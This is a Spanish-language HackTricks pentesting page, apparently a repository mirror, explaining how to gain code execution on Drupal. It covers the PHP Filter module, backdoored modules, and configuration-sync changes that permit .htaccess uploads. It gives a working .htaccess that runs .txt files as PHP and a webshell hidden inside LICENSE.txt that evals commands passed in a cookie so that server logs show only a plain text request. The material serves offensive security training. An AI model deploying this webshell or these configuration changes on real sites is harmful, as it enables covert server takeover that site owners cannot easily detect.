mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
9.8 KiB
Markdown
228 lines
9.8 KiB
Markdown
# Drupal RCE
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Con el módulo PHP Filter
|
|
|
|
> [!WARNING]
|
|
> En versiones anteriores de Drupal **(antes de la versión 8)**, era posible iniciar sesión como administrador y **habilitar el módulo `PHP filter`**, que "Permite que se evalúe el código/snippet PHP incrustado." Pero a partir de la versión 8, este módulo no se instala por defecto.
|
|
|
|
1. Ve a **/modules/php** y si se devuelve un error 403, entonces el **plugin PHP filter está instalado y puedes continuar**
|
|
1. Si no, ve a `Modules` y marca la casilla de `PHP Filter` y luego en `Save configuration`
|
|
2. Luego, para explotarlo, haz clic en `Add content`, selecciona `Basic Page` o `Article` y escribe la **puerta trasera PHP**, luego selecciona `PHP` como formato de texto y finalmente selecciona `Preview`
|
|
3. Para activarlo, simplemente accede al nodo recién creado:
|
|
```bash
|
|
curl http://drupal.local/node/3
|
|
```
|
|
## Instalar el módulo PHP Filter
|
|
|
|
> [!WARNING]
|
|
> En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
|
|
|
|
A partir de la versión **8**, el **módulo [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1)** **no está instalado por defecto**. Para aprovechar esta funcionalidad, tendríamos que **instalar el módulo nosotros mismos**.
|
|
|
|
1. Descargue la versión más reciente del módulo desde el sitio web de Drupal.
|
|
1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
|
|
2. Una vez descargado, vaya a **`Administración`** > **`Informes`** > **`Actualizaciones disponibles`**.
|
|
3. Haga clic en **`Examinar`**, seleccione el archivo del directorio al que lo descargó y luego haga clic en **`Instalar`**.
|
|
4. Una vez que el módulo esté instalado, podemos hacer clic en **`Contenido`** y **crear una nueva página básica**, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrese de **seleccionar `Código PHP` del menú desplegable `Formato de texto`**.
|
|
|
|
## Módulo con puerta trasera
|
|
|
|
> [!WARNING]
|
|
> En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
|
|
|
|
Era posible **descargar** un **módulo**, agregarle una **puerta trasera** y **instalarlo**. Por ejemplo, descargando el módulo [**Trurnstile**](https://www.drupal.org/project/turnstile) en formato comprimido, creando un nuevo archivo PHP de puerta trasera dentro de él, permitiendo el acceso al archivo PHP con un archivo `.htaccess`:
|
|
```html
|
|
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
|
|
```
|
|
Y luego ir a **`http://drupal.local/admin/modules/install`** para instalar el módulo con puerta trasera y acceder a **`/modules/turnstile/back.php`** para ejecutarlo.
|
|
|
|
## Puerta trasera en Drupal con sincronización de configuración <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
|
|
|
**Publicación compartida por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
|
|
|
### Parte 1 (activación de _Media_ y _Media Library_)
|
|
|
|
En el menú _Extend_ (/admin/modules), puedes activar lo que parecen ser plugins ya instalados. Por defecto, los plugins _Media_ y _Media Library_ no parecen estar activados, así que activémoslos.
|
|
|
|
Antes de la activación:
|
|
|
|
<figure><img src="../../../images/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Después de la activación:
|
|
|
|
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Parte 2 (aprovechando la función _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
|
|
|
Aprovecharemos la función _Configuration synchronization_ para volcar (exportar) y subir (importar) entradas de configuración de Drupal:
|
|
|
|
- /admin/config/development/configuration/single/export
|
|
- /admin/config/development/configuration/single/import
|
|
|
|
**Parchear system.file.yml**
|
|
|
|
Comencemos parcheando la primera entrada `allow_insecure_uploads` de:
|
|
|
|
Archivo: system.file.yml
|
|
```
|
|
|
|
...
|
|
|
|
allow_insecure_uploads: false
|
|
|
|
...
|
|
|
|
```
|
|
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
A:
|
|
|
|
Archivo: system.file.yml
|
|
```
|
|
|
|
...
|
|
|
|
allow_insecure_uploads: true
|
|
|
|
...
|
|
|
|
```
|
|
<figure><img src="../../../images/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Parchear field.field.media.document.field_media_document.yml**
|
|
|
|
Luego, parchea la segunda entrada `file_extensions` de:
|
|
|
|
Archivo: field.field.media.document.field_media_document.yml
|
|
```
|
|
|
|
...
|
|
|
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
|
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
|
|
|
...
|
|
```
|
|
<figure><img src="../../../images/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
A:
|
|
|
|
Archivo: field.field.media.document.field_media_document.yml
|
|
```
|
|
...
|
|
|
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
|
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
|
|
|
...
|
|
|
|
```
|
|
> No lo uso en esta publicación del blog, pero se señala que es posible definir la entrada `file_directory` de manera arbitraria y que es vulnerable a un ataque de traversal de ruta (por lo que podemos retroceder dentro del árbol del sistema de archivos de Drupal).
|
|
|
|
<figure><img src="../../../images/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Parte 3 (aprovechando la función _Agregar Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
|
|
|
El último paso es el más simple y se descompone en dos sub-pasos. El primero es subir un archivo en formato .htaccess para aprovechar las directivas de Apache y permitir que los archivos .txt sean interpretados por el motor PHP. El segundo es subir un archivo .txt que contenga nuestra carga útil.
|
|
|
|
Archivo: .htaccess
|
|
```
|
|
<Files *>
|
|
SetHandler application/x-httpd-php
|
|
</Files>
|
|
|
|
# Vroum! Vroum!
|
|
# We reactivate PHP engines for all versions in order to be targetless.
|
|
<IfModule mod_php.c>
|
|
php_flag engine on
|
|
</IfModule>
|
|
<IfModule mod_php7.c>
|
|
php_flag engine on
|
|
</IfModule>
|
|
<IfModule mod_php5.c>
|
|
php_flag engine on
|
|
</IfModule>
|
|
```
|
|
¿Por qué es genial este truco?
|
|
|
|
Porque una vez que el Webshell (que llamaremos LICENSE.txt) se coloca en el servidor web, podemos transmitir nuestros comandos a través de `$_COOKIE` y en los registros del servidor web, esto aparecerá como una solicitud GET legítima a un archivo de texto.
|
|
|
|
¿Por qué nombrar nuestro Webshell LICENSE.txt?
|
|
|
|
Simplemente porque si tomamos el siguiente archivo, por ejemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que ya está presente en el núcleo de Drupal), tenemos un archivo de 339 líneas y 17.6 KB de tamaño, que es perfecto para agregar un pequeño fragmento de código PHP en el medio (ya que el archivo es lo suficientemente grande).
|
|
|
|
<figure><img src="../../../images/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Archivo: LICENSE.txt parcheado
|
|
```txt
|
|
|
|
...
|
|
|
|
this License, you may choose any version ever published by the Free Software
|
|
Foundation.
|
|
|
|
<?php
|
|
|
|
# We inject our payload into the cookies so that in the logs of the compromised
|
|
# server it shows up as having been requested via the GET method, in order to
|
|
# avoid raising suspicions.
|
|
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
|
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
|
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
|
} else {
|
|
phpinfo();
|
|
}
|
|
}
|
|
|
|
?>
|
|
|
|
10. If you wish to incorporate parts of the Program into other free
|
|
programs whose distribution conditions are different, write to the author
|
|
|
|
...
|
|
|
|
```
|
|
#### **Parte 3.1 (subir archivo .htaccess)**
|
|
|
|
Primero, aprovechamos la función _Add Document_ (/media/add/document) para subir nuestro archivo que contiene las directivas de Apache (.htaccess).
|
|
|
|
<figure><img src="../../../images/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Parte 3.2 (subir archivo LICENSE.txt)**
|
|
|
|
Luego, aprovechamos nuevamente la función _Add Document_ (/media/add/document) para subir un Webshell oculto dentro de un archivo de licencia.
|
|
|
|
<figure><img src="../../../images/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../images/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Parte 4 (interacción con el Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
|
|
|
La última parte consiste en interactuar con el Webshell.
|
|
|
|
Como se muestra en la siguiente captura de pantalla, si la cookie esperada por nuestro Webshell no está definida, obtenemos el resultado subsiguiente al consultar el archivo a través de un navegador web.
|
|
|
|
<figure><img src="../../../images/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Cuando el atacante establece la cookie, puede interactuar con el Webshell y ejecutar cualquier comando que desee.
|
|
|
|
<figure><img src="../../../images/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Y como puedes ver en los registros, parece que solo se ha solicitado un archivo txt.
|
|
|
|
<figure><img src="../../../images/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Gracias por tomarte el tiempo de leer este artículo, espero que te ayude a obtener algunas shells.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|